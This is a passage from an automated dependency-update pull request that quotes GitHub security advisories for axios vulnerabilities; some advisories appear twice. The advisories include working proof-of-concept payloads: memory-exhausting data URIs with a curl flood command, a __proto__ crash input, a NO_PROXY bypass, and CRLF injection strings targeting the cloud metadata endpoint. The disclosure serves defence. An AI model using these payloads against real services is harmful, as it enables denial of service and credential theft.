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@renovate renovate Bot commented Sep 9, 2025 •
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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.11.0 → 1.16.0 age confidence
h3 (source) 1.15.4 → 1.15.9 age confidence
vite (source) 7.1.3 → 7.3.2 age confidence

Axios is vulnerable to DoS attack through lack of data size check

CVE-2025-58754 / GHSA-4hjh-wcwx-xvwj

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC
const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @&#8203;payload.json -o /dev/null```
Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig
Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test Config Result
Normal config {"timeout": 5000} SUCCESS
Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH
Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is vulnerable to DoS attack through lack of data size check

CVE-2025-58754 / GHSA-4hjh-wcwx-xvwj

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC
const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @&#8203;payload.json -o /dev/null```
Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig
Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test Config Result
Normal config {"timeout": 5000} SUCCESS
Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH
Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

  • Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

  • Attackers controlling request URLs can:

    • Force Axios to send local traffic through an attacker-controlled proxy.
    • Bypass SSRF mitigations relying on NO_PROXY rules.
    • Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

  • Confirmed on Axios 1.12.2 (latest at time of testing).
  • affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

  • Strip trailing dots from hostnames (per RFC 3986).
  • Normalize IPv6 literals by removing brackets for matching.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept
1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";
2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings');
3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...
4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis
  • Confidentiality: May expose limited sensitive information in affected network environments.
  • Integrity: May allow modification of outbound request structure or injected headers.
  • Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.
Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});
References
  • OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

CVE-2026-42037 / GHSA-445q-vr5w-6q77

More information

Details

Summary

The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

Details

In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:

if (isStringValue) {
  value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
  // value.type is NOT sanitized for CRLF sequences
  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;
}

Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.

Attack chain:
  1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences
  2. The proxy appends the file to a FormData and posts it via axios.post(url, formData)
  3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body
  4. The downstream server receives a multipart body containing injected per-part headers
  5. The server's multipart parser processes the injected headers as legitimate

This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration.
Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.

PoC

Prerequisites: Node.js 18+, axios (tested on 1.14.0)

const http = require('http');
const axios = require('axios');

let receivedBody = '';

const server = http.createServer((req, res) => {
  let body = '';
  req.on('data', chunk => { body += chunk.toString(); });
  req.on('end', () => {
    receivedBody = body;
    res.writeHead(200);
    res.end('ok');
  });
});

server.listen(0, '127.0.0.1', async () => {
  const port = server.address().port;

  class SpecFormData {
    constructor() {
      this._entries = [];
      this[Symbol.toStringTag] = 'FormData';
    }
    append(name, value) { this._entries.push([name, value]); }
    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }
    entries() { return this._entries[Symbol.iterator](); }
  }

  const fd = new SpecFormData();

  fd.append('photo', {
    type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
    size: 16,
    name: 'photo.jpg',
    [Symbol.asyncIterator]: async function*() {
      yield Buffer.from('MALICIOUS PAYLOAD');
    }
  });

  await axios.post(`http://127.0.0.1:${port}/upload`, fd);

  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
    console.log('Received body:\n' + receivedBody);
  } else {
    console.log('[NOT_VULNERABLE]');
  }

  server.close();
});
Steps to reproduce:
  1. npm install axios
  2. Save the above as poc_axios_crlf.js
  3. Run node poc_axios_crlf.js
  4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body

Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path.
Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.

Impact

Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.
Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.
axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.

Suggested fix

In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic.

const safeType = (value.type || 'application/octet-stream')
  .replace(/[\r\n]/g, '');
headers += `Content-Type: ${safeType}${CRLF}`;

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0

CVE-2026-42034 / GHSA-5c9x-8gcm-mpgx

More information

Details

Summary

For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

Details

Relevant flow in lib/adapters/http.js:

  • 556-564: maxBodyLength check applies only to buffered/non-stream data.
  • 681-682: maxRedirects === 0 selects native http/https transport.
  • 694-699: options.maxBodyLength is set, but native transport does not enforce it.
  • 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

PoC

Environment:

  • Axios main at commit f7a4ee2
  • Node v24.2.0

Steps:

  1. Start an HTTP server that counts uploaded bytes and returns {received}.
  2. Send a 2 MiB Readable stream with:
    • adapter: 'http'
    • maxBodyLength: 1024
    • maxRedirects: 0

Observed:

  • Request succeeds; server reports received: 2097152.

Control checks:

  • Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.
  • Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.

Impact

Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Axios: unbounded recursion in toFormData causes DoS via deeply nested request data

CVE-2026-42039 / GHSA-62hf-57xw-28j9

More information

Details

Summary

